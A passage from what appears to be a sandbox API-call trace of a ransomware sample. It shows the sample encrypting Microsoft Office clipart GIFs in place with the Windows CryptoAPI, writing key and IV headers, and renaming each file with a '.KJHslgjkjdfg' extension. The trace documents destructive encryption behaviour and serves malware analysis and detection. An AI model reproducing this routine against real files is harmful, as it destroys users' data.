lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x494, lpOverlapped=0x0) returned 1 [0193.119] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4a0, dwBufLen=0x4a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4a0) returned 1 [0193.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.119] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4a0, lpOverlapped=0x0) returned 1 [0193.119] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.120] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.120] SetEndOfFile (hFile=0x114) returned 1 [0193.122] GetProcessHeap () returned 0x2a0000 [0193.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.122] GetProcessHeap () returned 0x2a0000 [0193.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif.kjhslgjkjdfg")) returned 1 [0193.125] CloseHandle (hObject=0x114) returned 1 [0193.125] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cebf400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cebf400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01751_.GIF", cAlternateFileName="")) returned 1 [0193.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.126] GetProcessHeap () returned 0x2a0000 [0193.126] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.126] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.127] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x7, lpOverlapped=0x0) returned 1 [0193.129] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.129] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.129] GetProcessHeap () returned 0x2a0000 [0193.129] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.129] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.129] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.129] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.129] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.129] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.129] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.130] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.130] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.130] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.130] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.130] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.130] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3b9, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3b9, lpOverlapped=0x0) returned 1 [0193.130] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0) returned 1 [0193.130] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.130] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3c0, lpOverlapped=0x0) returned 1 [0193.130] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.130] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.130] SetEndOfFile (hFile=0x114) returned 1 [0193.133] GetProcessHeap () returned 0x2a0000 [0193.133] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.133] GetProcessHeap () returned 0x2a0000 [0193.133] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.133] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif.kjhslgjkjdfg")) returned 1 [0193.135] CloseHandle (hObject=0x114) returned 1 [0193.135] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3fc5100, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3fc5100, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01770_.GIF", cAlternateFileName="")) returned 1 [0193.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.138] GetProcessHeap () returned 0x2a0000 [0193.138] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.138] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.138] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.138] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0193.140] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.140] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.140] GetProcessHeap () returned 0x2a0000 [0193.140] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.140] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.140] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.140] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.141] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.141] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.141] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.141] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.141] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.141] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.141] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.141] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.141] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x304, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x304, lpOverlapped=0x0) returned 1 [0193.141] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x310, dwBufLen=0x310 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x310) returned 1 [0193.141] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.141] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x310, lpOverlapped=0x0) returned 1 [0193.142] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.142] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.142] SetEndOfFile (hFile=0x114) returned 1 [0193.144] GetProcessHeap () returned 0x2a0000 [0193.145] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.145] GetProcessHeap () returned 0x2a0000 [0193.145] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.145] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif.kjhslgjkjdfg")) returned 1 [0193.147] CloseHandle (hObject=0x114) returned 1 [0193.147] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa42a6f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa42a6f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01838_.GIF", cAlternateFileName="")) returned 1 [0193.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.148] GetProcessHeap () returned 0x2a0000 [0193.148] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.148] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.148] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.149] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0193.151] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.151] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.151] GetProcessHeap () returned 0x2a0000 [0193.151] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.151] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.151] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.151] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.151] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.151] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.151] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.151] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.152] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.152] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.152] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.152] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe44, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe44, lpOverlapped=0x0) returned 1 [0193.152] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe50, dwBufLen=0xe50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe50) returned 1 [0193.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.152] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe50, lpOverlapped=0x0) returned 1 [0193.152] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.152] SetEndOfFile (hFile=0x114) returned 1 [0193.155] GetProcessHeap () returned 0x2a0000 [0193.155] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.155] GetProcessHeap () returned 0x2a0000 [0193.155] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.155] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif.kjhslgjkjdfg")) returned 1 [0193.158] CloseHandle (hObject=0x114) returned 1 [0193.158] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1c81500, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1c81500, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01839_.GIF", cAlternateFileName="")) returned 1 [0193.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.159] GetProcessHeap () returned 0x2a0000 [0193.159] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.159] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.159] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0193.159] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0193.164] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.164] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.164] GetProcessHeap () returned 0x2a0000 [0193.164] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.164] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0193.164] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.164] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0193.164] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.164] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.164] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.164] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.165] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.165] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.165] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.165] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.165] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x446, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x446, lpOverlapped=0x0) returned 1 [0193.165] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x450, dwBufLen=0x450 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x450) returned 1 [0193.166] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.166] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x450, lpOverlapped=0x0) returned 1 [0193.166] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.166] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.166] SetEndOfFile (hFile=0x114) returned 1 [0193.169] GetProcessHeap () returned 0x2a0000 [0193.169] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.169] GetProcessHeap () returned 0x2a0000 [0193.169] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 